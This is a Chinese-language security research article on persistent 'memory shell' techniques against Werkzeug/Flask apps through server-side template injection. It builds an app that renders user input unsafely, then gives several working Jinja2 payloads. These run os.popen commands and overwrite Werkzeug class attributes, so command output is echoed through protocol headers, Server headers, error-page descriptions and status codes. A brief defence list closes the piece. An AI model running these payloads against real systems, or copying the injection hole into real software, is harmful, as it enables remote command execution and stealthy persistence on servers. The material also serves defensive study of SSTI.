Werkzeug应用内存马详细深入调试研究
字数 1138 2025-08-22 12:22:30
Werkzeug应用内存马深入调试与利用研究
1. Werkzeug简介
Werkzeug是一个用于Web开发的强大工具包,主要用于处理WSGI请求和响应。它是Flask框架的基础之一,但也可以独立使用。主要功能包括:
- 处理HTTP请求和响应
- 提供路由、调试和WSGI工具
- 支持会话管理和URL构建
2. 环境搭建
基础Flask应用示例代码:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=["POST"])
def template():
template = request.form.get("code")
result = render_template_string(template)
print(result)
if result != None:
return "OK"
else:
return "error"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
3. Werkzeug运行机制分析
3.1 app.run()函数分析
app.run()函数最终调用werkzeug.serving.run_simple()来启动WSGI服务器:
from werkzeug.serving import run_simple
run_simple(host, port, self, **options)
关键配置参数:
use_reloader: 取决于调试模式use_debugger: 取决于调试模式threaded: 默认为True,启用多线程处理请求
3.2 WSGIRequestHandler分析
Werkzeug默认使用WSGIRequestHandler作为请求处理器,关键特性:
- 默认HTTP协议版本为1.1
- 通过
send_header方法设置响应头 server_version和sys_version属性控制Server头内容
4. 内存马利用技术
4.1 HTTP协议头回显
通过修改WSGIRequestHandler.protocol_version属性实现回显:
{{ lipsum.__globals__.__builtins__.setattr(
g.get["__globals__"].sys.modules.werkzeug.serving.WSGIRequestHandler,
"protocol_version",
lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()
)}}
4.2 Server字段回显
通过修改server_version和sys_version属性:
{{ lipsum.__globals__.__builtins__.setattr(
g.get["__globals__"].sys.modules.werkzeug.serving.WSGIRequestHandler,
"server_version",
lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()
)}}
{{ lipsum.__globals__.__builtins__.setattr(
g.get["__globals__"].sys.modules.werkzeug.serving.WSGIRequestHandler,
"sys_version",
lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()
)}}
4.3 错误页面回显
4.3.1 500错误页面回显
修改InternalServerError.description:
{{ lipsum.__globals__.__builtins__.setattr(
g.get["__globals__"].sys.modules.werkzeug.exceptions.InternalServerError,
"description",
lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()
)}}
4.3.2 405错误页面回显
修改MethodNotAllowed.description:
{{ lipsum.__globals__.__builtins__.setattr(
g.get["__globals__"].sys.modules.werkzeug.exceptions.MethodNotAllowed,
"description",
lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()
)}}
4.4 状态码回显
修改Response.default_status:
{{ lipsum.__globals__.__builtins__.setattr(
g.get["__globals__"].sys.modules.werkzeug.wrappers.Response,
"default_status",
lipsum.__globals__.__builtins__.__import__('base64').b64encode(
lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read().encode()
).decode()
)}}
5. 其他利用方式
5.1 使用url_for替代lipsum
{{ url_for.__globals__.__builtins__['setattr'](
lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response,
'default_status',
url_for.__globals__.__builtins__.__import__('base64').b64encode(
url_for.__globals__.__builtins__['__import__']('os').popen('dir').read().encode()
).decode()
)}}
5.2 404错误页面回显
{{ url_for.__globals__.__builtins__['setattr'](
lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,
'description',
url_for.__globals__.__builtins__['__import__']('os').popen('dir').read()
)}}
6. 防御措施
- 禁用模板渲染:避免直接渲染用户输入的模板
- 输入过滤:严格过滤用户输入的特殊字符
- 权限控制:限制应用运行权限
- 更新组件:保持Werkzeug和Flask最新版本
- 监控异常:监控异常的HTTP头和响应
7. 总结
本文详细分析了Werkzeug应用中的内存马利用技术,包括:
- 通过修改WSGIRequestHandler属性实现协议头回显
- 篡改错误页面描述信息实现回显
- 利用状态码和响应头外带数据
- 多种Payload构造方式
这些技术利用了Werkzeug的内部机制和Python的反射特性,展示了SSTI漏洞的严重性。防御者应重视模板注入漏洞的防护,开发者应避免直接渲染用户控制的模板内容。